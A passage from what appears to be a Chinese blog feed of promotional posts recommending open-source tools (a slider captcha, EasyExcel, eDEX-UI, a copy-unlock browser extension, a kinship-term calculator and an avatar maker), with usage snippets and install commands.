tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>mpanel3<span class="token punctuation">"</span></span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">margin-top</span><span class="token punctuation">:</span><span class="token number">5</span>px<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>https://cdn.bootcdn.net/ajax/libs/jquery/1.9.1/jquery.js<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>./js/crypto-js.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>./js/ase.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>js/verify.js<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script language-javascript"> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">'#mpanel2'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slideVerify</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> baseUrl<span class="token punctuation">:</span> <span class="token string">'http://lcoalhost:18000'</span><span class="token punctuation">,</span> mode<span class="token punctuation">:</span><span class="token string">'pop'</span><span class="token punctuation">,</span> containerId<span class="token punctuation">:</span><span class="token string">'btn'</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">'#mpanel3'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">pointsVerify</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> baseUrl<span class="token punctuation">:</span> <span class="token string">'http://lcoalhost:18000'</span><span class="token punctuation">,</span> mode<span class="token punctuation">:</span><span class="token string">'fixed'</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre><p><strong>运行效果如下图</strong>:</p><p><img src="https://files.mdnice.com/user/21486/bf13a9c2-a232-4504-9220-fcacd7435377.png"> <strong>点击我则会弹出下图</strong>:<br><img src="https://files.mdnice.com/user/21486/7aff02b3-b513-4566-980a-17b5e177d6c2.png"></p><p>通过上面的效果可以看出验证码的显示方式有两种:弹出式(pop)、固定式(fixed),默认为 pop。<br>除了上面的简单使用,有没有其他的一些配置供自己调整验证码的显示和预处理呢?那下面大家跟着小妹来看看 Captcha 其他设置吧。</p><h2 id="高级使用"><a href="#高级使用" class="headerlink" title="高级使用"></a>高级使用</h2><ol><li><p><strong>对验证码图片的尺寸不满意? 那就来设置一下图片的宽高吧</strong> </p><p> imgSize: {width: ‘100px’, height: ‘100px’}</p></li><li><p><strong>有没有办法调整验证码图片和移动条之间的间隔呢?</strong></p><p> vSpace:10 //默认单位px,</p></li><li><p><strong>滑动条内的文案能不能调整?</strong></p><p> explain:’滑动文案’ </p></li></ol><p> 除了上面的样式相关调整 Captcha 还提供了有一下几种回调事件 <strong>success、error、ready、beforeCheck</strong> 有了回调事件,用户可以在验证码验证成功、失败或者校<br> 验之前进行一些额外的业务处理,想要了解的小伙伴可以去尝试一下哦。 </p><p> 今天行为验证码就介绍到这里了,接下来小妹对Captcha总结一下。</p><h2 id="小妹总结"><a href="#小妹总结" class="headerlink" title="小妹总结"></a>小妹总结</h2><p><strong>Captcha</strong>除了可以在 html 中只用,还提供了其他的实现例如:vue、flutter、uni-app、reactNative、Android、IOS、php 等,总有一个实现适合自己的。<br>听到开源小妹的安利,你是不是也有点心动了呢,赶紧去公众号后台回复「<strong>验证码</strong>」,获取开源项目的地址吧~~~</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>Excel处理还是用POI?快来试一试这款工具</title>
<link href="/blog/2022/01/31/excel-chu-li-huan-shi-yong-poi-kuai-lai-shi-yi-shi-zhe-kuan-gong-ju/"/>
<url>/blog/2022/01/31/excel-chu-li-huan-shi-yong-poi-kuai-lai-shi-yi-shi-zhe-kuan-gong-ju/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔。</p><p>今天给大家分享一个非常好用的Excel解析开源项目:<strong>EasyExcel</strong>。</p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>大家常用的读写Excel的可能是POI,但是POI有一些缺点:比较耗内存。<br>EasyExcel则针对POI的缺点进行了优化,减少内存的占用,并且做了更多的封装,使用起来很方便。接下来跟着大叔来看看怎么使用吧。</p><h2 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h2><p><strong>加入依赖</strong></p><pre class=" language-xml"><code class="language-xml"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>com.alibaba<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>easyexcel<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>3.0.5<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span></code></pre><p><strong>读Excel</strong></p><p><img src="https://files.mdnice.com/user/21486/c3b040d6-df2c-48fa-9038-d1dc7f6b0048.png"></p><pre class=" language-java"><code class="language-java"> <span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> InputStream is <span class="token operator">=</span> Client<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getResourceAsStream</span><span class="token punctuation">(</span><span class="token string">"user.xlsx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> List<span class="token operator">&lt;</span>Object<span class="token operator">></span> list <span class="token operator">=</span> EasyExcel<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>is<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sheet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">headRowNumber</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">doReadSync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span>null <span class="token operator">!=</span> list <span class="token operator">&amp;&amp;</span> list<span class="token punctuation">.</span><span class="token function">size</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> list<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span>e <span class="token operator">-</span><span class="token operator">></span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token keyword">try</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> is<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">IOException</span> e<span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>运行结果如下:<br>{0=张三, 1=18, 2=北京}<br>{0=扬四, 1=19, 2=上海}<br>{0=王五, 1=20, 2=广州}<br>{0=刘六, 1=21, 2=深圳} </p><p><strong>写Excel</strong></p><pre class=" language-java"><code class="language-java"><span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">wirte</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> String fileName <span class="token operator">=</span> <span class="token string">"/Users/erpang/excel-simple/src/main/resources/userV2.xlsx"</span><span class="token punctuation">;</span> List<span class="token operator">&lt;</span>User<span class="token operator">></span> list <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayList</span><span class="token operator">&lt;</span><span class="token operator">></span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> list<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"刘备"</span><span class="token punctuation">,</span><span class="token number">48</span><span class="token punctuation">,</span><span class="token string">"蜀国"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> list<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"关羽"</span><span class="token punctuation">,</span><span class="token number">48</span><span class="token punctuation">,</span><span class="token string">"蜀国"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> list<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"张飞"</span><span class="token punctuation">,</span><span class="token number">48</span><span class="token punctuation">,</span><span class="token string">"蜀国"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> list<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"阿斗"</span><span class="token punctuation">,</span><span class="token number">18</span><span class="token punctuation">,</span><span class="token string">"蜀国"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> EasyExcel<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>fileName<span class="token punctuation">,</span> User<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">sheet</span><span class="token punctuation">(</span><span class="token string">"用户信息"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">doWrite</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token keyword">return</span> list<span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>运行效果如下:<br><img src="https://files.mdnice.com/user/21486/ed6a6eb2-2d11-45f8-81e8-20409fc76d22.png"><br><img src="https://files.mdnice.com/user/21486/5d526c9f-4267-4c76-93cc-490dec855c3d.png"></p><p>上面减少的都是最简单的读写操作,不一定能满足日常需要,接下来我们来看看它是否还有其他高级的设置呢?</p><h2 id="高级使用"><a href="#高级使用" class="headerlink" title="高级使用"></a>高级使用</h2><ol><li>读取 excel 的时候是否可以直接把表格中的数据读取成自己的实体对象呢?<br>```java<br>@NoArgsConstructor<br>@AllArgsConstructor<br>@ToString<br>@Data<br>public class User {<br> private String username;<br> private Integer age;<br> private String address;<br>}</li></ol><p>private static void readV2(){<br> String fileName = “/Users/erpang/excel-simple/src/main/resources/user.xlsx”;<br> List<User> list = EasyExcel.read(fileName,User.class, new ReadListener<User>() {<br> @Override<br> public void invoke(User o, AnalysisContext analysisContext) {<br> log.info(“读取到的数据:{}”, JSON.toJSONString(o));<br> }<br> @Override<br> public void doAfterAllAnalysed(AnalysisContext analysisContext) {<br> System.out.println(“读取完成”);<br> }<br> }).sheet().headRowNumber(0).doReadSync();<br> }</p><pre><code>2. 如果导出的时候头信息要怎么操作呢? 在类属性上加上注解 **@ExcelProperty**就可以了```java @ExcelProperty(&quot;姓名&quot;) private String username; @ExcelProperty(&quot;年龄&quot;) private Integer age; @ExcelProperty(&quot;地址&quot;) private String address;</code></pre><p>EasyExcel还有其他强大功能,这里就不一一介绍了,接下来大叔来说一下常用的api,后续大家可以自己去尝试</p><ul><li>EasyExcel 入口类,用于构建开始各种操作</li><li>ReadListener 在每一行读取完毕后都会调用ReadListener来处理数据</li><li>ExcelProperty 指定当前字段对应excel中的那一列。可以根据名字或者Index去匹配。当然也可以不写,默认第一个字段就是index=0,以此类推。千万注意,要么全部不写,要么全部用index,要么全部用名</li><li>ExcelIgnore 默认所有字段都会和excel去匹配,加了这个注解会忽略该字段</li><li>NumberFormat 数字转换</li><li>DateTimeFormat 日期转换</li></ul><h2 id="大叔总结"><a href="#大叔总结" class="headerlink" title="大叔总结"></a>大叔总结</h2><p>今天就介绍到这里了,处理Excel在日常开发中很常见,选择一个简单易用的工具可以提高自己的工作效率,EasyExcel 正好符合这个要求,不近使用方便,并且性能强大 节省内存空间,是一个不错的选择。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>装X神器!2022科幻飓风来袭!!</title>
<link href="/blog/2022/01/28/zhuang-x-shen-qi-2022-ke-huan-ju-feng-lai-xi/"/>
<url>/blog/2022/01/28/zhuang-x-shen-qi-2022-ke-huan-ju-feng-lai-xi/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>最近在 Github 上闲逛时发现了一款超级好用的开源免费软件。如果你也也和大叔一样,是一个地道的科幻电影迷,那这款软件绝对是你不可错过的装逼神器!</p><p>想要让自己的终端变得更加极客、更加炫酷?那还不赶紧来试试这款良心开源项目!</p><h4 id="项目简介-:"><a href="#项目简介-:" class="headerlink" title="项目简介 :"></a>项目简介 :</h4><p>先让我们来看看作者是怎么说的吧!</p><blockquote><p>受到<a href="https://web.archive.org/web/20170511000410/http://jtnimoy.com/blogs/projects/14881671">TRON Legacy 电影效果</a>(尤其是<a href="https://gmunk.com/TRON-Board-Room">Board Room 序列</a>)的极大启发,项目最初的目的是<em>“减少«艺术»和更多«可分发软件»<a href="https://github.com/seenaburns/dex-ui">eDEX-UI</a></em> ” 。在保持未来主义外观和感觉的同时,它努力保持一定水平的功能并在现实生活场景中可用,其更大的目标是将科幻 UX 带入主流。</p></blockquote><p>简单来说,这是一款全屏、跨平台的终端仿真器和系统监视器,外观和感觉都像科幻计算机界面。通过这个开源项目你可以非常简单地搭建一个科幻风格的终端仿真器,这个模拟器的外观和感觉都像科幻计算机界面一样。</p><p><strong>总的来说就是 :非常适合用来装逼~</strong></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281449237.jpg"></p><h4 id="快速入门-:"><a href="#快速入门-:" class="headerlink" title="快速入门 :"></a>快速入门 :</h4><h5 id="功能总览-:"><a href="#功能总览-:" class="headerlink" title="功能总览 :"></a>功能总览 :</h5><ul><li>功能齐全的终端仿真器,带有选项卡、颜色、鼠标事件以及对<code>curses</code>和<code>curses</code>类似应用程序的支持。</li><li>实时系统(CPU、RAM、交换、进程)和网络(GeoIP、活动连接、传输率)监控。</li><li>完全支持触控显示器,包括屏幕键盘。</li><li>跟随终端的 CWD(当前工作目录)的目录查看器。</li><li>使用主题、屏幕键盘布局、CSS 注入进行高级定制。有关更多信息,请参阅<a href="https://github.com/GitSquared/edex-ui/wiki">wiki</a>。</li><li>由才华横溢的声音设计师制作的可选音效,可最大程度地营造好莱坞黑客氛围。</li></ul><h5 id="安装使用-:"><a href="#安装使用-:" class="headerlink" title="安装使用 :"></a>安装使用 :</h5><p>安装方式也是非常简单,我们只需要选择一个适合自己操作系统的版本即可!并且常见的主流操作系统比如 Linux、Windows、MacOS 都可以安装这个项目。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281450899.png"><br>你完全可以把它当做一个普通的软件来使用即可,下载完成之后,我们直接双击安装,安装完成之后,我们直接点击运行即可!非常方便。</p><p>下面就是安装完成之后的效果 :</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281450575.png"></p><h5 id="自定义设置-:"><a href="#自定义设置-:" class="headerlink" title="自定义设置 :"></a>自定义设置 :</h5><p>你可以通过双击<code>settings.json</code> 这个文件的方式来修改一些默认配置。调整自己喜欢的配置,比如主题。</p><p>比如我在这里就修改了自定义主题 :</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281451443.png"></p><h4 id="小结-:"><a href="#小结-:" class="headerlink" title="小结 :"></a>小结 :</h4><p>以上就是如何快速打造一款科幻风格的终端的方法啦!是不是超级炫酷,超级简单。</p><p>看完是不是很想拥有拥有一款属于自己的科幻终端吗?还不赶快去公众号后台回复「<strong>科幻</strong>」即可轻松获取下载地址以及项目源码地址。</p><h4 id="写在最后-:"><a href="#写在最后-:" class="headerlink" title="写在最后 :"></a>写在最后 :</h4><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> zero </tag>
</tags>
</entry>
<entry>
<title>复制还要VIP?超级复制神器,一键帮你实现复制自由!</title>
<link href="/blog/2022/01/28/fu-zhi-huan-yao-vip-yi-jian-bang-ni-shi-xian-fu-zhi-zi-you/"/>
<url>/blog/2022/01/28/fu-zhi-huan-yao-vip-yi-jian-bang-ni-shi-xian-fu-zhi-zi-you/</url>
<content type="html"><![CDATA[<p>Hello!大家新年快乐呀!我是可爱又机灵的开源小妹。</p><p>新的一年刚刚开始大家最近都在干什么呢?小妹最近已经快要忙的走路带残影了,原因无他,疯狂补文档而已。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281430415.gif" alt="1"></p><p>在写文档的时候,本小妹就发现一个非常郁闷的事情,很多网站为了盈利要求用户付费或是充会员,导致很多的资料都无法复制了,导致小妹只是想要引用一段话都必须要手敲,着实让人恼火。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281448184.png" alt="2"><br>当然啦!这些小小的问题肯定是难不住我的,比如我一开始就是直接在html文件中复制,但是这样太麻烦了,而且一旦内容多了看起来实在不方便。</p><p>所以今天就给大家推荐一款 Chrome 插件,亲测超级好用,专门解决网站模板内容文字无法复制问题,堪称万能网页复制插件,帮你实现复制自由!</p><h4 id="项目简介-:"><a href="#项目简介-:" class="headerlink" title="项目简介 :"></a>项目简介 :</h4><p>Simple Allow Copy 是一款可以解除网站页面文字无法复制问题的浏览器插件,在 Chrome、火狐 浏览器、360 浏览器等中安装了该插件以后,可以让那些不懂网页 javascript 脚本的小伙伴也能够轻松解除某些网站禁止复制网页内容文字的扩展程序。</p><h4 id="快速入门-:"><a href="#快速入门-:" class="headerlink" title="快速入门 :"></a>快速入门 :</h4><p>那当然首先是需要安装这个浏览器插件了,安装起来也是非常的简单。</p><ul><li>看见这个”管理扩展程序“吧,点他!</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281448925.jpg" alt="3"></p><ul><li>点完就可以进入 GooGle 的扩展程序管理页面啦!然后把下载好的插件直接拖进来就可以,超级简单,一步到位。</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201281449889.jpg"><br>但是这个时候该插件还没有启用哦,要想在当前页面启用它也很简单。</p><p>没错!还是点他,单击即可在当前页面启用该插件,然后就可以随心所欲的复制啦!</p><p>对于那些需要网页复制功能的用户来说,该插件也会大大提高了网站复制功能的速度,只需轻轻一点就可以一键解除网站防复制功能,是不是很好用呢。</p><h4 id="小结-:"><a href="#小结-:" class="headerlink" title="小结 :"></a>小结 :</h4><p>上面就是小妹为大家带来的超级复制神器了,希望可以帮助到大家。</p><p>想要实现自己的复制自由吗?还不赶快去公众号后台回复「<strong>复制</strong>」即可轻松获取下载地址以及项目源码地址。</p><h4 id="写在最后-:"><a href="#写在最后-:" class="headerlink" title="写在最后 :"></a>写在最后 :</h4><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p>]]></content>
<tags>
<tag> zero </tag>
</tags>
</entry>
<entry>
<title>过年神器,避免偶遇,只能尴尬一笑~~</title>
<link href="/blog/2022/01/27/guo-nian-shen-qi-bi-mian-ou-yu-zhi-neng-gan-ga-yi-xiao/"/>
<url>/blog/2022/01/27/guo-nian-shen-qi-bi-mian-ou-yu-zhi-neng-gan-ga-yi-xiao/</url>
<content type="html"><![CDATA[<p>大家好呀,我是机灵的开源小妹。</p><p>快过年了,心里想着回家可开心了。但回想起去年的尴尬时刻,回去见到一些不常见的亲戚,一时间不知道叫啥,只能嘿嘿一笑。<br>那可咋办呀,网上找了找,发现一款开源神器,完美解决这个问题。那就是”中国家庭称谓计算器”。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>“中国家庭称谓计算器”为你避免了见到人不知道叫啥的尴尬,只需简单的输入即可算出称谓。</p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201272132410.gif"></p><h2 id="安装部署"><a href="#安装部署" class="headerlink" title="安装部署"></a>安装部署</h2><h3 id="下载-amp-安装"><a href="#下载-amp-安装" class="headerlink" title="下载 &amp; 安装"></a>下载 &amp; 安装</h3><p>该 Javascript 库 / 模块可以用于前端也可以用于后端 Nodejs 中。</p><p>直接下载dist/relationship.min.js,然后使用 script 标签引入,可以得到全局的方法 relationship.</p><p>使用 npm 进行包管理,具体为:</p><pre><code>npm install relationship.js</code></pre><p>然后使用 require 引入模块</p><pre><code>var relationship = require(&quot;relationship.js&quot;);</code></pre><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><ol><li>内部属性:获取当前数据量 relationship.dataCount.</li><li>内部方法:用户自定义模式 relationship.setMode(mode_name,mode_data).<br>代码示例:<pre><code>// 关系解析语法// 【关系链】f:父,m:母,h:夫,w:妻,s:子,d:女,xb:兄弟,ob:兄,lb:弟,xs:姐妹,os:姐,ls:妹// 【修饰符】 1:男性,0:女性,&amp;o:年长,&amp;l:年幼,#:隔断,[a|b]:并列relationship.setMode(&#39;northern&#39;,&#123; &#39;m,f&#39;:[&#39;姥爷&#39;], &#39;m,m&#39;:[&#39;姥姥&#39;], &#39;m,xb,s&amp;o&#39;:[&#39;表哥&#39;], &#39;m,xb,s&amp;l&#39;:[&#39;表弟&#39;],&#125;);</code></pre></li><li>通用方法: 唯一的计算方法 relationship(options).<br>参数options结构为:<pre><code>var options = &#123; text:&#39;&#39;, //输入文本(称谓的汉字表达,称谓间用‘的’字分隔) target:&#39;&#39;, //针对对象:空表示自己 sex:-1, //自己的性别:0女性,1男性 type:&#39;default&#39;, //转换类型:&#39;default&#39;算称谓,&#39;chain&#39;算关系 reverse:false, //称呼方式:true对方称呼我,false我称呼对方 mode:&#39;default&#39; //模式选择,可由用户自定义&#125;;</code></pre>代码示例:<br>```<br>// 如:我应该叫外婆的哥哥什么?<br>relationship({text:’妈妈的妈妈的哥哥’});</li></ol><p>// 如:七舅姥爷应该叫我什么?<br>relationship({text:’七舅姥爷’,’reverse’:true,’sex’:1});</p><p>// 如:舅公和我是什么关系?<br>relationship({text:’舅公’,sex:0,type:’chain’});</p><p>// 如:舅妈如何称呼外婆?<br>relationship({text:’外婆’,target:’舅妈’,sex:1});</p><p>```</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>由于工作生活节奏不同,如今很多关系稍疏远的亲戚之间来往并不多。过年偶尔碰上也是挺尴尬的,过年用上这款神器偷偷查下,遇见再也不用那么尴尬的嘿嘿两声了~~</p><p>感兴趣的小伙伴赶快在公众号后台回复「关系」来获取这款神器的访问方法及开源项目地址吧!</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>头像七十二变变变</title>
<link href="/blog/2022/01/26/tou-xiang-qi-shi-er-bian-bian-bian/"/>
<url>/blog/2022/01/26/tou-xiang-qi-shi-er-bian-bian-bian/</url>
<content type="html"><![CDATA[<p>大家好,我是人见人爱,花见花开的开源小妹!</p><p>大家有没有过这种经历:微信头像或者其他账号的头像好久都不换,然后想要换的时候却翻来覆去的找不到适合自己的?</p><p>如果你有上述这种情况的话,那么你的福利来了,今天我要给你推荐一款小而美的<strong>头像生成神器</strong>,自己 DIY 你想要的头像,拯救你的不开心。</p><p>这是一个基于 Vue+SCSS 的开源头像生成神器,没有太多花里胡哨的功能,我愿将之称为:<strong>头像七十二变变变</strong>,哈哈哈~</p><p>下面我们先来看一眼他的真容吧:</p><p><img src="https://files.mdnice.com/user/21062/2cbd96c1-b5e8-4be6-acb2-eb83963e60a9.gif"></p><p>关于它,作者是这么说的:</p><p><strong>Collect your avatar from different parts. The code of this program is very easy, any developer will be able to understand the code. SVG is used to draw an avatar.</strong></p><p>我给大家翻译一下哈:</p><p><strong>从不同的地方收集你的头像。这个程序的代码很简单,任何开发人员都能理解代码,使用SVG用于绘制角色。</strong></p><h2 id="如何使用"><a href="#如何使用" class="headerlink" title="如何使用"></a>如何使用</h2><p>说了这么多了,怎么用得告诉大家。</p><p>首先先把项目从github上克隆下来</p><pre><code> //克隆 git clone https://github.com/favrora/Avatar-Maker.git //进入到目录 cd avatar-maker</code></pre><p>进入到目录安装依赖</p><pre><code> //安装依赖 npm install //运行 npm run server</code></pre><p>本地运行就可以访问 <a href="http://localhost:8080/">http://localhost:8080</a> 了</p><p>DIY 制作好头像后,也可以下载出来,当作自己的社交头像</p><p>当然,如果你不想下载,就想在线直接制作,那当然也是可以的,在线制作地址呢?老规矩,公众号后台回复[头像]即可获得在线制作地址和源代码地址。</p><p>偷偷给大家放一张小妹我自己制作的,哈哈哈哈。</p><p><img src="https://files.mdnice.com/user/21062/dc310f14-8864-4258-9cc7-0d5cf853332b.png"></p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>关于命令行的一切,都在这篇101k⭐️的文档里了</title>
